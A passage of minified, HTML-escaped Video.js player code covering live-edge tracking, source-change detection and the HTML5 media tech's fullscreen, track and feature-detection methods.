_Component.prototype.createEl.call(this,&quot;iframe&quot;,{className:&quot;vjs-resize-manager&quot;,tabIndex:-1},{&quot;aria-hidden&quot;:&quot;true&quot;})},_proto.resizeHandler=function(){this.player_&amp;&amp;this.player_.trigger&amp;&amp;this.player_.trigger(&quot;playerresize&quot;)},_proto.dispose=function(){this.debouncedHandler_&amp;&amp;this.debouncedHandler_.cancel(),this.resizeObserver_&amp;&amp;(this.player_.el()&amp;&amp;this.resizeObserver_.unobserve(this.player_.el()),this.resizeObserver_.disconnect()),this.loadListener_&amp;&amp;this.off(&quot;load&quot;,this.loadListener_),this.el_&amp;&amp;this.el_.contentWindow&amp;&amp;this.unloadListener_&amp;&amp;this.unloadListener_.call(this.el_.contentWindow),this.ResizeObserver=null,this.resizeObserver=null,this.debouncedHandler_=null,this.loadListener_=null,_Component.prototype.dispose.call(this)},ResizeManager}(Component$1);Component$1.registerComponent(&quot;ResizeManager&quot;,ResizeManager);var defaults={trackingThreshold:20,liveTolerance:15},LiveTracker=function(_Component){function LiveTracker(player,options){var _this,options_=mergeOptions$3(defaults,options,{createEl:!1});return(_this=_Component.call(this,player,options_)||this).handleVisibilityChange_=function(e){return _this.handleVisibilityChange(e)},_this.trackLiveHandler_=function(){return _this.trackLive_()},_this.handlePlay_=function(e){return _this.handlePlay(e)},_this.handleFirstTimeupdate_=function(e){return _this.handleFirstTimeupdate(e)},_this.handleSeeked_=function(e){return _this.handleSeeked(e)},_this.seekToLiveEdge_=function(e){return _this.seekToLiveEdge(e)},_this.reset_(),_this.on(_this.player_,&quot;durationchange&quot;,(function(e){return _this.handleDurationchange(e)})),_this.one(_this.player_,&quot;canplay&quot;,(function(){return _this.toggleTracking()})),IE_VERSION&amp;&amp;&quot;hidden&quot;in document&amp;&amp;&quot;visibilityState&quot;in document&amp;&amp;_this.on(document,&quot;visibilitychange&quot;,_this.handleVisibilityChange_),_this}inheritsLoose(LiveTracker,_Component);var _proto=LiveTracker.prototype;return _proto.handleVisibilityChange=function(){this.player_.duration()===1/0&amp;&amp;(document.hidden?this.stopTracking():this.startTracking())},_proto.trackLive_=function(){var seekable=this.player_.seekable();if(seekable&amp;&amp;seekable.length){var newTime=Number(window.performance.now().toFixed(4)),deltaTime=-1===this.lastTime_?0:(newTime-this.lastTime_)/1e3;this.lastTime_=newTime,this.pastSeekEnd_=this.pastSeekEnd()+deltaTime;var liveCurrentTime=this.liveCurrentTime(),currentTime=this.player_.currentTime(),isBehind=this.player_.paused()||this.seekedBehindLive_||Math.abs(liveCurrentTime-currentTime)&gt;this.options_.liveTolerance;this.timeupdateSeen_&amp;&amp;liveCurrentTime!==1/0||(isBehind=!1),isBehind!==this.behindLiveEdge_&amp;&amp;(this.behindLiveEdge_=isBehind,this.trigger(&quot;liveedgechange&quot;))}},_proto.handleDurationchange=function(){this.toggleTracking()},_proto.toggleTracking=function(){this.player_.duration()===1/0&amp;&amp;this.liveWindow()&gt;=this.options_.trackingThreshold?(this.player_.options_.liveui&amp;&amp;this.player_.addClass(&quot;vjs-liveui&quot;),this.startTracking()):(this.player_.removeClass(&quot;vjs-liveui&quot;),this.stopTracking())},_proto.startTracking=function(){this.isTracking()||(this.timeupdateSeen_||(this.timeupdateSeen_=this.player_.hasStarted()),this.trackingInterval_=this.setInterval(this.trackLiveHandler_,30),this.trackLive_(),this.on(this.player_,[&quot;play&quot;,&quot;pause&quot;],this.trackLiveHandler_),this.timeupdateSeen_?this.on(this.player_,&quot;seeked&quot;,this.handleSeeked_):(this.one(this.player_,&quot;play&quot;,this.handlePlay_),this.one(this.player_,&quot;timeupdate&quot;,this.handleFirstTimeupdate_)))},_proto.handleFirstTimeupdate=function(){this.timeupdateSeen_=!0,this.on(this.player_,&quot;seeked&quot;,this.handleSeeked_)},_proto.handleSeeked=function(){var timeDiff=Math.abs(this.liveCurrentTime()-this.player_.currentTime());this.seekedBehindLive_=this.nextSeekedFromUser_&amp;&amp;timeDiff&gt;2,this.nextSeekedFromUser_=!1,this.trackLive_()},_proto.handlePlay=function(){this.one(this.player_,&quot;timeupdate&quot;,this.seekToLiveEdge_)},_proto.reset_=function(){this.lastTime_=-1,this.pastSeekEnd_=0,this.lastSeekEnd_=-1,this.behindLiveEdge_=!0,this.timeupdateSeen_=!1,this.seekedBehindLive_=!1,this.nextSeekedFromUser_=!1,this.clearInterval(this.trackingInterval_),this.trackingInterval_=null,this.off(this.player_,[&quot;play&quot;,&quot;pause&quot;],this.trackLiveHandler_),this.off(this.player_,&quot;seeked&quot;,this.handleSeeked_),this.off(this.player_,&quot;play&quot;,this.handlePlay_),this.off(this.player_,&quot;timeupdate&quot;,this.handleFirstTimeupdate_),this.off(this.player_,&quot;timeupdate&quot;,this.seekToLiveEdge_)},_proto.nextSeekedFromUser=function(){this.nextSeekedFromUser_=!0},_proto.stopTracking=function(){this.isTracking()&amp;&amp;(this.reset_(),this.trigger(&quot;liveedgechange&quot;))},_proto.seekableEnd=function(){for(var seekable=this.player_.seekable(),seekableEnds=[],i=seekable?seekable.length:0;i--;)seekableEnds.push(seekable.end(i));return seekableEnds.length?seekableEnds.sort()[seekableEnds.length-1]:1/0},_proto.seekableStart=function(){for(var seekable=this.player_.seekable(),seekableStarts=[],i=seekable?seekable.length:0;i--;)seekableStarts.push(seekable.start(i));return seekableStarts.length?seekableStarts.sort()[0]:0},_proto.liveWindow=function(){var liveCurrentTime=this.liveCurrentTime();return liveCurrentTime===1/0?0:liveCurrentTime-this.seekableStart()},_proto.isLive=function(){return this.isTracking()},_proto.atLiveEdge=function(){return!this.behindLiveEdge()},_proto.liveCurrentTime=function(){return this.pastSeekEnd()+this.seekableEnd()},_proto.pastSeekEnd=function(){var seekableEnd=this.seekableEnd();return-1!==this.lastSeekEnd_&amp;&amp;seekableEnd!==this.lastSeekEnd_&amp;&amp;(this.pastSeekEnd_=0),this.lastSeekEnd_=seekableEnd,this.pastSeekEnd_},_proto.behindLiveEdge=function(){return this.behindLiveEdge_},_proto.isTracking=function(){return&quot;number&quot;==typeof this.trackingInterval_},_proto.seekToLiveEdge=function(){this.seekedBehindLive_=!1,this.atLiveEdge()||(this.nextSeekedFromUser_=!1,this.player_.currentTime(this.liveCurrentTime()))},_proto.dispose=function(){this.off(document,&quot;visibilitychange&quot;,this.handleVisibilityChange_),this.stopTracking(),_Component.prototype.dispose.call(this)},LiveTracker}(Component$1);Component$1.registerComponent(&quot;LiveTracker&quot;,LiveTracker);var canPlayType,sourcesetLoad=function(tech){var el=tech.el();if(el.hasAttribute(&quot;src&quot;))return tech.triggerSourceset(el.src),!0;var sources=tech.$$(&quot;source&quot;),srcUrls=[],src=&quot;&quot;;if(!sources.length)return!1;for(var i=0;i&lt;sources.length;i++){var url=sources[i].src;url&amp;&amp;-1===srcUrls.indexOf(url)&amp;&amp;srcUrls.push(url)}return!!srcUrls.length&amp;&amp;(1===srcUrls.length&amp;&amp;(src=srcUrls[0]),tech.triggerSourceset(src),!0)},innerHTMLDescriptorPolyfill=Object.defineProperty({},&quot;innerHTML&quot;,{get:function(){return this.cloneNode(!0).innerHTML},set:function(v){var dummy=document.createElement(this.nodeName.toLowerCase());dummy.innerHTML=v;for(var docFrag=document.createDocumentFragment();dummy.childNodes.length;)docFrag.appendChild(dummy.childNodes[0]);return this.innerText=&quot;&quot;,window.Element.prototype.appendChild.call(this,docFrag),this.innerHTML}}),getDescriptor=function(priority,prop){for(var descriptor={},i=0;i&lt;priority.length&amp;&amp;!((descriptor=Object.getOwnPropertyDescriptor(priority[i],prop))&amp;&amp;descriptor.set&amp;&amp;descriptor.get);i++);return descriptor.enumerable=!0,descriptor.configurable=!0,descriptor},firstSourceWatch=function(tech){var el=tech.el();if(!el.resetSourceWatch_){var old={},innerDescriptor=function(tech){return getDescriptor([tech.el(),window.HTMLMediaElement.prototype,window.Element.prototype,innerHTMLDescriptorPolyfill],&quot;innerHTML&quot;)}(tech),appendWrapper=function(appendFn){return function(){for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];var retval=appendFn.apply(el,args);return sourcesetLoad(tech),retval}};[&quot;append&quot;,&quot;appendChild&quot;,&quot;insertAdjacentHTML&quot;].forEach((function(k){el[k]&amp;&amp;(old[k]=el[k],el[k]=appendWrapper(old[k]))})),Object.defineProperty(el,&quot;innerHTML&quot;,mergeOptions$3(innerDescriptor,{set:appendWrapper(innerDescriptor.set)})),el.resetSourceWatch_=function(){el.resetSourceWatch_=null,Object.keys(old).forEach((function(k){el[k]=old[k]})),Object.defineProperty(el,&quot;innerHTML&quot;,innerDescriptor)},tech.one(&quot;sourceset&quot;,el.resetSourceWatch_)}},srcDescriptorPolyfill=Object.defineProperty({},&quot;src&quot;,{get:function(){return this.hasAttribute(&quot;src&quot;)?getAbsoluteURL(window.Element.prototype.getAttribute.call(this,&quot;src&quot;)):&quot;&quot;},set:function(v){return window.Element.prototype.setAttribute.call(this,&quot;src&quot;,v),v}}),setupSourceset=function(tech){if(tech.featuresSourceset){var el=tech.el();if(!el.resetSourceset_){var srcDescriptor=function(tech){return getDescriptor([tech.el(),window.HTMLMediaElement.prototype,srcDescriptorPolyfill],&quot;src&quot;)}(tech),oldSetAttribute=el.setAttribute,oldLoad=el.load;Object.defineProperty(el,&quot;src&quot;,mergeOptions$3(srcDescriptor,{set:function(v){var retval=srcDescriptor.set.call(el,v);return tech.triggerSourceset(el.src),retval}})),el.setAttribute=function(n,v){var retval=oldSetAttribute.call(el,n,v);return/src/i.test(n)&amp;&amp;tech.triggerSourceset(el.src),retval},el.load=function(){var retval=oldLoad.call(el);return sourcesetLoad(tech)||(tech.triggerSourceset(&quot;&quot;),firstSourceWatch(tech)),retval},el.currentSrc?tech.triggerSourceset(el.currentSrc):sourcesetLoad(tech)||firstSourceWatch(tech),el.resetSourceset_=function(){el.resetSourceset_=null,el.load=oldLoad,el.setAttribute=oldSetAttribute,Object.defineProperty(el,&quot;src&quot;,srcDescriptor),el.resetSourceWatch_&amp;&amp;el.resetSourceWatch_()}}}},defineLazyProperty=function(obj,key,getValue,setter){void 0===setter&amp;&amp;(setter=!0);var set=function(value){return Object.defineProperty(obj,key,{value:value,enumerable:!0,writable:!0})},options={configurable:!0,enumerable:!0,get:function(){var value=getValue();return set(value),value}};return setter&amp;&amp;(options.set=set),Object.defineProperty(obj,key,options)},Html5=function(_Tech){function Html5(options,ready){var _this;_this=_Tech.call(this,options,ready)||this;var source=options.source,crossoriginTracks=!1;if(source&amp;&amp;(_this.el_.currentSrc!==source.src||options.tag&amp;&amp;3===options.tag.initNetworkState_)?_this.setSource(source):_this.handleLateInit_(_this.el_),options.enableSourceset&amp;&amp;_this.setupSourcesetHandling_(),_this.isScrubbing_=!1,_this.el_.hasChildNodes()){for(var nodes=_this.el_.childNodes,nodesLength=nodes.length,removeNodes=[];nodesLength--;){var node=nodes[nodesLength];&quot;track&quot;===node.nodeName.toLowerCase()&amp;&amp;(_this.featuresNativeTextTracks?(_this.remoteTextTrackEls().addTrackElement_(node),_this.remoteTextTracks().addTrack(node.track),_this.textTracks().addTrack(node.track),crossoriginTracks||_this.el_.hasAttribute(&quot;crossorigin&quot;)||!isCrossOrigin(node.src)||(crossoriginTracks=!0)):removeNodes.push(node))}for(var i=0;i&lt;removeNodes.length;i++)_this.el_.removeChild(removeNodes[i])}return _this.proxyNativeTracks_(),_this.featuresNativeTextTracks&amp;&amp;crossoriginTracks&amp;&amp;log$1.warn(&quot;Text Tracks are being loaded from another origin but the crossorigin attribute isn&#039;t used.\nThis may prevent text tracks from loading.&quot;),_this.restoreMetadataTracksInIOSNativePlayer_(),(TOUCH_ENABLED||IS_IPHONE||IS_NATIVE_ANDROID)&amp;&amp;!0===options.nativeControlsForTouch&amp;&amp;_this.setControls(!0),_this.proxyWebkitFullscreen_(),_this.triggerReady(),_this}inheritsLoose(Html5,_Tech);var _proto=Html5.prototype;return _proto.dispose=function(){this.el_&amp;&amp;this.el_.resetSourceset_&amp;&amp;this.el_.resetSourceset_(),Html5.disposeMediaElement(this.el_),this.options_=null,_Tech.prototype.dispose.call(this)},_proto.setupSourcesetHandling_=function(){setupSourceset(this)},_proto.restoreMetadataTracksInIOSNativePlayer_=function(){var metadataTracksPreFullscreenState,textTracks=this.textTracks(),takeMetadataTrackSnapshot=function(){metadataTracksPreFullscreenState=[];for(var i=0;i&lt;textTracks.length;i++){var track=textTracks[i];&quot;metadata&quot;===track.kind&amp;&amp;metadataTracksPreFullscreenState.push({track:track,storedMode:track.mode})}};takeMetadataTrackSnapshot(),textTracks.addEventListener(&quot;change&quot;,takeMetadataTrackSnapshot),this.on(&quot;dispose&quot;,(function(){return textTracks.removeEventListener(&quot;change&quot;,takeMetadataTrackSnapshot)}));var restoreTrackMode=function restoreTrackMode(){for(var i=0;i&lt;metadataTracksPreFullscreenState.length;i++){var storedTrack=metadataTracksPreFullscreenState[i];&quot;disabled&quot;===storedTrack.track.mode&amp;&amp;storedTrack.track.mode!==storedTrack.storedMode&amp;&amp;(storedTrack.track.mode=storedTrack.storedMode)}textTracks.removeEventListener(&quot;change&quot;,restoreTrackMode)};this.on(&quot;webkitbeginfullscreen&quot;,(function(){textTracks.removeEventListener(&quot;change&quot;,takeMetadataTrackSnapshot),textTracks.removeEventListener(&quot;change&quot;,restoreTrackMode),textTracks.addEventListener(&quot;change&quot;,restoreTrackMode)})),this.on(&quot;webkitendfullscreen&quot;,(function(){textTracks.removeEventListener(&quot;change&quot;,takeMetadataTrackSnapshot),textTracks.addEventListener(&quot;change&quot;,takeMetadataTrackSnapshot),textTracks.removeEventListener(&quot;change&quot;,restoreTrackMode)}))},_proto.overrideNative_=function(type,override){var _this2=this;if(override===this[&quot;featuresNative&quot;+type+&quot;Tracks&quot;]){var lowerCaseType=type.toLowerCase();this[lowerCaseType+&quot;TracksListeners_&quot;]&amp;&amp;Object.keys(this[lowerCaseType+&quot;TracksListeners_&quot;]).forEach((function(eventName){_this2.el()[lowerCaseType+&quot;Tracks&quot;].removeEventListener(eventName,_this2[lowerCaseType+&quot;TracksListeners_&quot;][eventName])})),this[&quot;featuresNative&quot;+type+&quot;Tracks&quot;]=!override,this[lowerCaseType+&quot;TracksListeners_&quot;]=null,this.proxyNativeTracksForType_(lowerCaseType)}},_proto.overrideNativeAudioTracks=function(override){this.overrideNative_(&quot;Audio&quot;,override)},_proto.overrideNativeVideoTracks=function(override){this.overrideNative_(&quot;Video&quot;,override)},_proto.proxyNativeTracksForType_=function(name){var _this3=this,props=NORMAL[name],elTracks=this.el()[props.getterName],techTracks=this[props.getterName]();if(this[&quot;featuresNative&quot;+props.capitalName+&quot;Tracks&quot;]&amp;&amp;elTracks&amp;&amp;elTracks.addEventListener){var listeners={change:function(e){var event={type:&quot;change&quot;,target:techTracks,currentTarget:techTracks,srcElement:techTracks};techTracks.trigger(event),&quot;text&quot;===name&amp;&amp;_this3[REMOTE.remoteText.getterName]().trigger(event)},addtrack:function(e){techTracks.addTrack(e.track)},removetrack:function(e){techTracks.removeTrack(e.track)}},removeOldTracks=function(){for(var removeTracks=[],i=0;i&lt;techTracks.length;i++){for(var found=!1,j=0;j&lt;elTracks.length;j++)if(elTracks[j]===techTracks[i]){found=!0;break}found||removeTracks.push(techTracks[i])}for(;removeTracks.length;)techTracks.removeTrack(removeTracks.shift())};this[props.getterName+&quot;Listeners_&quot;]=listeners,Object.keys(listeners).forEach((function(eventName){var listener=listeners[eventName];elTracks.addEventListener(eventName,listener),_this3.on(&quot;dispose&quot;,(function(e){return elTracks.removeEventListener(eventName,listener)}))})),this.on(&quot;loadstart&quot;,removeOldTracks),this.on(&quot;dispose&quot;,(function(e){return _this3.off(&quot;loadstart&quot;,removeOldTracks)}))}},_proto.proxyNativeTracks_=function(){var _this4=this;NORMAL.names.forEach((function(name){_this4.proxyNativeTracksForType_(name)}))},_proto.createEl=function(){var el=this.options_.tag;if(!el||!this.options_.playerElIngest&amp;&amp;!this.movingMediaElementInDOM){if(el){var clone=el.cloneNode(!0);el.parentNode&amp;&amp;el.parentNode.insertBefore(clone,el),Html5.disposeMediaElement(el),el=clone}else{el=document.createElement(&quot;video&quot;);var attributes=mergeOptions$3({},this.options_.tag&amp;&amp;getAttributes(this.options_.tag));TOUCH_ENABLED&amp;&amp;!0===this.options_.nativeControlsForTouch||delete attributes.controls,setAttributes(el,assign(attributes,{id:this.options_.techId,class:&quot;vjs-tech&quot;}))}el.playerId=this.options_.playerId}void 0!==this.options_.preload&amp;&amp;setAttribute(el,&quot;preload&quot;,this.options_.preload),void 0!==this.options_.disablePictureInPicture&amp;&amp;(el.disablePictureInPicture=this.options_.disablePictureInPicture);for(var settingsAttrs=[&quot;loop&quot;,&quot;muted&quot;,&quot;playsinline&quot;,&quot;autoplay&quot;],i=0;i&lt;settingsAttrs.length;i++){var attr=settingsAttrs[i],value=this.options_[attr];void 0!==value&amp;&amp;(value?setAttribute(el,attr,attr):removeAttribute(el,attr),el[attr]=value)}return el},_proto.handleLateInit_=function(el){if(0!==el.networkState&amp;&amp;3!==el.networkState){if(0===el.readyState){var loadstartFired=!1,setLoadstartFired=function(){loadstartFired=!0};this.on(&quot;loadstart&quot;,setLoadstartFired);var triggerLoadstart=function(){loadstartFired||this.trigger(&quot;loadstart&quot;)};return this.on(&quot;loadedmetadata&quot;,triggerLoadstart),void this.ready((function(){this.off(&quot;loadstart&quot;,setLoadstartFired),this.off(&quot;loadedmetadata&quot;,triggerLoadstart),loadstartFired||this.trigger(&quot;loadstart&quot;)}))}var eventsToTrigger=[&quot;loadstart&quot;];eventsToTrigger.push(&quot;loadedmetadata&quot;),el.readyState&gt;=2&amp;&amp;eventsToTrigger.push(&quot;loadeddata&quot;),el.readyState&gt;=3&amp;&amp;eventsToTrigger.push(&quot;canplay&quot;),el.readyState&gt;=4&amp;&amp;eventsToTrigger.push(&quot;canplaythrough&quot;),this.ready((function(){eventsToTrigger.forEach((function(type){this.trigger(type)}),this)}))}},_proto.setScrubbing=function(isScrubbing){this.isScrubbing_=isScrubbing},_proto.scrubbing=function(){return this.isScrubbing_},_proto.setCurrentTime=function(seconds){try{this.isScrubbing_&amp;&amp;this.el_.fastSeek&amp;&amp;IS_ANY_SAFARI?this.el_.fastSeek(seconds):this.el_.currentTime=seconds}catch(e){log$1(e,&quot;Video is not ready. (Video.js)&quot;)}},_proto.duration=function(){var _this5=this;if(this.el_.duration===1/0&amp;&amp;IS_ANDROID&amp;&amp;IS_CHROME&amp;&amp;0===this.el_.currentTime){return this.on(&quot;timeupdate&quot;,(function checkProgress(){_this5.el_.currentTime&gt;0&amp;&amp;(_this5.el_.duration===1/0&amp;&amp;_this5.trigger(&quot;durationchange&quot;),_this5.off(&quot;timeupdate&quot;,checkProgress))})),NaN}return this.el_.duration||NaN},_proto.width=function(){return this.el_.offsetWidth},_proto.height=function(){return this.el_.offsetHeight},_proto.proxyWebkitFullscreen_=function(){var _this6=this;if(&quot;webkitDisplayingFullscreen&quot;in this.el_){var endFn=function(){this.trigger(&quot;fullscreenchange&quot;,{isFullscreen:!1})},beginFn=function(){&quot;webkitPresentationMode&quot;in this.el_&amp;&amp;&quot;picture-in-picture&quot;!==this.el_.webkitPresentationMode&amp;&amp;(this.one(&quot;webkitendfullscreen&quot;,endFn),this.trigger(&quot;fullscreenchange&quot;,{isFullscreen:!0,nativeIOSFullscreen:!0}))};this.on(&quot;webkitbeginfullscreen&quot;,beginFn),this.on(&quot;dispose&quot;,(function(){_this6.off(&quot;webkitbeginfullscreen&quot;,beginFn),_this6.off(&quot;webkitendfullscreen&quot;,endFn)}))}},_proto.supportsFullScreen=function(){if(&quot;function&quot;==typeof this.el_.webkitEnterFullScreen){var userAgent=window.navigator&amp;&amp;window.navigator.userAgent||&quot;&quot;;if(/Android/.test(userAgent)||!/Chrome|Mac OS X 10.5/.test(userAgent))return!0}return!1},_proto.enterFullScreen=function(){var video=this.el_;if(video.paused&amp;&amp;video.networkState&lt;=video.HAVE_METADATA)silencePromise(this.el_.play()),this.setTimeout((function(){video.pause();try{video.webkitEnterFullScreen()}catch(e){this.trigger(&quot;fullscreenerror&quot;,e)}}),0);else try{video.webkitEnterFullScreen()}catch(e){this.trigger(&quot;fullscreenerror&quot;,e)}},_proto.exitFullScreen=function(){this.el_.webkitDisplayingFullscreen?this.el_.webkitExitFullScreen():this.trigger(&quot;fullscreenerror&quot;,new Error(&quot;The video is not fullscreen&quot;))},_proto.requestPictureInPicture=function(){return this.el_.requestPictureInPicture()},_proto.src=function(_src){if(void 0===_src)return this.el_.src;this.setSrc(_src)},_proto.reset=function(){Html5.resetMediaElement(this.el_)},_proto.currentSrc=function(){return this.currentSource_?this.currentSource_.src:this.el_.currentSrc},_proto.setControls=function(val){this.el_.controls=!!val},_proto.addTextTrack=function(kind,label,language){return this.featuresNativeTextTracks?this.el_.addTextTrack(kind,label,language):_Tech.prototype.addTextTrack.call(this,kind,label,language)},_proto.createRemoteTextTrack=function(options){if(!this.featuresNativeTextTracks)return _Tech.prototype.createRemoteTextTrack.call(this,options);var htmlTrackElement=document.createElement(&quot;track&quot;);return options.kind&amp;&amp;(htmlTrackElement.kind=options.kind),options.label&amp;&amp;(htmlTrackElement.label=options.label),(options.language||options.srclang)&amp;&amp;(htmlTrackElement.srclang=options.language||options.srclang),options.default&amp;&amp;(htmlTrackElement.default=options.default),options.id&amp;&amp;(htmlTrackElement.id=options.id),options.src&amp;&amp;(htmlTrackElement.src=options.src),htmlTrackElement},_proto.addRemoteTextTrack=function(options,manualCleanup){var htmlTrackElement=_Tech.prototype.addRemoteTextTrack.call(this,options,manualCleanup);return this.featuresNativeTextTracks&amp;&amp;this.el().appendChild(htmlTrackElement),htmlTrackElement},_proto.removeRemoteTextTrack=function(track){if(_Tech.prototype.removeRemoteTextTrack.call(this,track),this.featuresNativeTextTracks)for(var tracks=this.$$(&quot;track&quot;),i=tracks.length;i--;)track!==tracks[i]&amp;&amp;track!==tracks[i].track||this.el().removeChild(tracks[i])},_proto.getVideoPlaybackQuality=function(){if(&quot;function&quot;==typeof this.el().getVideoPlaybackQuality)return this.el().getVideoPlaybackQuality();var videoPlaybackQuality={};return void 0!==this.el().webkitDroppedFrameCount&amp;&amp;void 0!==this.el().webkitDecodedFrameCount&amp;&amp;(videoPlaybackQuality.droppedVideoFrames=this.el().webkitDroppedFrameCount,videoPlaybackQuality.totalVideoFrames=this.el().webkitDecodedFrameCount),window.performance&amp;&amp;&quot;function&quot;==typeof window.performance.now?videoPlaybackQuality.creationTime=window.performance.now():window.performance&amp;&amp;window.performance.timing&amp;&amp;&quot;number&quot;==typeof window.performance.timing.navigationStart&amp;&amp;(videoPlaybackQuality.creationTime=window.Date.now()-window.performance.timing.navigationStart),videoPlaybackQuality},Html5}(Tech);defineLazyProperty(Html5,&quot;TEST_VID&quot;,(function(){if(isReal()){var video=document.createElement(&quot;video&quot;),track=document.createElement(&quot;track&quot;);return track.kind=&quot;captions&quot;,track.srclang=&quot;en&quot;,track.label=&quot;English&quot;,video.appendChild(track),video}})),Html5.isSupported=function(){try{Html5.TEST_VID.volume=.5}catch(e){return!1}return!(!Html5.TEST_VID||!Html5.TEST_VID.canPlayType)},Html5.canPlayType=function(type){return Html5.TEST_VID.canPlayType(type)},Html5.canPlaySource=function(srcObj,options){return Html5.canPlayType(srcObj.type)},Html5.canControlVolume=function(){try{var volume=Html5.TEST_VID.volume;return Html5.TEST_VID.volume=volume/2+.1,volume!==Html5.TEST_VID.volume}catch(e){return!1}},Html5.canMuteVolume=function(){try{var muted=Html5.TEST_VID.muted;return Html5.TEST_VID.muted=!muted,Html5.TEST_VID.muted?setAttribute(Html5.TEST_VID,&quot;muted&quot;,&quot;muted&quot;):removeAttribute(Html5.TEST_VID,&quot;muted&quot;),muted!==Html5.TEST_VID.muted}catch(e){return!1}},Html5.canControlPlaybackRate=function(){if(IS_ANDROID&amp;&amp;IS_CHROME&amp;&amp;CHROME_VERSION&lt;58)return!1;try{var playbackRate=Html5.TEST_VID.playbackRate;return Html5.TEST_VID.playbackRate=playbackRate/2+.1,playbackRate!==Html5.TEST_VID.playbackRate}catch(e){return!1}},Html5.canOverrideAttributes=function(){try{var noop=function(){};Object.defineProperty(document.createElement(&quot;video&quot;),&quot;src&quot;,{get:noop,set:noop}),Object.defineProperty(document.createElement(&quot;audio&quot;),&quot;src&quot;,{get:noop,set:noop}),Object.defineProperty(document.createElement(&quot;video&quot;),&quot;innerHTML&quot;,{get:noop,set:noop}),Object.defineProperty(document.createElement(&quot;audio&quot;),&quot;innerHTML&quot;,{get:noop,set:noop})}catch(e){return!1}return!0},Html5.supportsNativeTextTracks=function(){return IS_ANY_SAFARI||IS_IOS&amp;&amp;IS_CHROME},Html5.supportsNativeVideoTracks=function(){return!(!Html5.TEST_VID||!Html5.TEST_VID.videoTracks)},Html5.supportsNativeAudioTracks=function(){return!(!Html5.TEST_VID||!Html5.TEST_VID.audioTracks)},Html5.Events=[&quot;loadstart&quot;,&quot;suspend&quot;,&quot;abort&quot;,&quot;error&quot;,&quot;emptied&quot;,&quot;stalled&quot;,&quot;loadedmetadata&quot;,&quot;loadeddata&quot;,&quot;canplay&quot;,&quot;canplaythrough&quot;,&quot;playing&quot;,&quot;waiting&quot;,&quot;seeking&quot;,&quot;seeked&quot;,&quot;ended&quot;,&quot;durationchange&quot;,&quot;timeupdate&quot;,&quot;progress&quot;,&quot;play&quot;,&quot;pause&quot;,&quot;ratechange&quot;,&quot;resize&quot;,&quot;volumechange&quot;],[[&quot;featuresVolumeControl&quot;,&quot;canControlVolume&quot;],[&quot;featuresMuteControl&quot;,&quot;canMuteVolume&quot;],[&quot;featuresPlaybackRate&quot;,&quot;canControlPlaybackRate&quot;],[&quot;featuresSourceset&quot;,&quot;canOverrideAttributes&quot;],[&quot;featuresNativeTextTracks&quot;,&quot;supportsNativeTextTracks&quot;],[&quot;featuresNativeVideoTracks&quot;,&quot;supportsNativeVideoTracks&quot;],[&quot;featuresNativeAudioTracks&quot;,&quot;supportsNativeAudioTracks&quot;]].forEach((function(_ref){var key=_ref[0],fn=_ref[1];defineLazyProperty(Html5.prototype,key,(function(){return Html5[fn]()}),!0)})),Html5.prototype.movingMediaElementInDOM=!IS_IOS,Html5.prototype.featuresFullscreenResize=!0,Html5.prototype.featuresProgressEvents=!0,Html5.prototype.featuresTimeupdateEvents=!0,Html5.patchCanPlayType=function(){ANDROID_VERSION&gt;=4&amp;&amp;!IS_FIREFOX&amp;&amp;!IS_CHROME&amp;&amp;(canPlayType=Html5.TEST_VID&amp;&amp;Html5.TEST_VID.constructor.prototype.canPlayType,Html5.TEST_VID.constructor.prototype.canPlayType=function(type){return type&amp;&amp;/^application\/(?:x-|vnd\.apple\.)mpegurl/i.test(type)?&quot;maybe&quot;:canPlayType.call(this,type)})},Html5.unpatchCanPlayType=function(){var r=Html5.TEST_VID.constructor.prototype.canPlayType;return canPlayType&amp;&amp;(Html5.TEST_VID.constructor.prototype.canPlayType=canPlayType),r},Html5.patchCanPlayType(),Html5.disposeMediaElement=function(el){if(el){for(el.parentNode&amp;&amp;el.parentNode.removeChild(el);el.hasChildNodes();)el.removeChild(el.firstChild);el.removeAttribute(&quot;src&quot;),&quot;function&quot;==typeof el.load&amp;&amp;function(){try{el.load()}catch(e){}}()}},Html5.resetMediaElement=function(el){if(el){for(var sources=el.querySelectorAll(&quot;source&quot;),i=sources.length;i--;)el.removeChild(sources[i]);el.removeAttribute(&quot;src&quot;),&quot;function&quot;==typeof el.load&amp;&amp;function(){try{el.load()}catch(e){}}()}},[&quot;muted&quot;,&quot;defaultMuted&quot;,&quot;autoplay&quot;,&quot;controls&quot;,&quot;loop&quot;,&quot;playsinline&quot;].forEach((function(prop){Html5.prototype[prop]=function(){return this.el_[prop]||this.el_.hasAttribute(prop)}})),[&quot;muted&quot;,&quot;defaultMuted&quot;,&quot;autoplay&quot;,&quot;loop&quot;,&quot;playsinline&quot;].forEach((function(prop){Html5.prototype[&quot;set&quot;+toTitleCase$1(prop)]=function(v){this.el_[prop]=v,v?this.el_.setAttribute(prop,prop):this.el_.removeAttribute(prop)}})),[&quot;paused&quot;,&quot;currentTime&quot;,&quot;buffered&quot;,&quot;volume&quot;,&quot;poster&quot;,&quot;preload&quot;,&quot;error&quot;,&quot;seeking&quot;,&quot;seekable&quot;,&quot;ended&quot;,&quot;playbackRate&quot;,&quot;defaultPlaybackRate&quot;,&quot;disablePictureInPicture&quot;,&quot;played&quot;,&quot;networkState&quot;,&quot;readyState&quot;,&quot;videoWidth&quot;,&quot;videoHeight&quot;,&quot;crossOrigin&quot;].forEach((function(prop){Html5.prototype[prop]=function(){return this.el_[prop]}})),[&quot;volume&quot;,&quot;src&quot;,&quot;poster&quot;,&quot;preload&quot;,&quot;playbackRate&quot;,&quot;defaultPlaybackRate&quot;,&quot;disablePictureInPicture&quot;,&quot;crossOrigin&quot;].forEach((function(prop){Html5.prototype[&quot;set&quot;+toTitleCase$1(prop)]=function(v){this.el_[prop]=v}})),[&quot;pause&quot;,&quot;load&quot;,&quot;play&quot;].forEach((function(prop){Html5.prototype[prop]=function(){return this.el_[prop]()}})),Tech.withSourceHandlers(Html5),Html5.nativeSourceHandler={},Html5.nativeSourceHandler.canPlayType=function(type){try{return Html5.TEST_VID.canPlayType(type)}catch(e){return&quot;&quot;}},Html5.nativeSourceHandler.canHandleSource=function(source,options){if(source.type)return Html5.nativeSourceHandler.canPlayType(source.type);if(source.src){var ext=getFileExtension(source.src);return 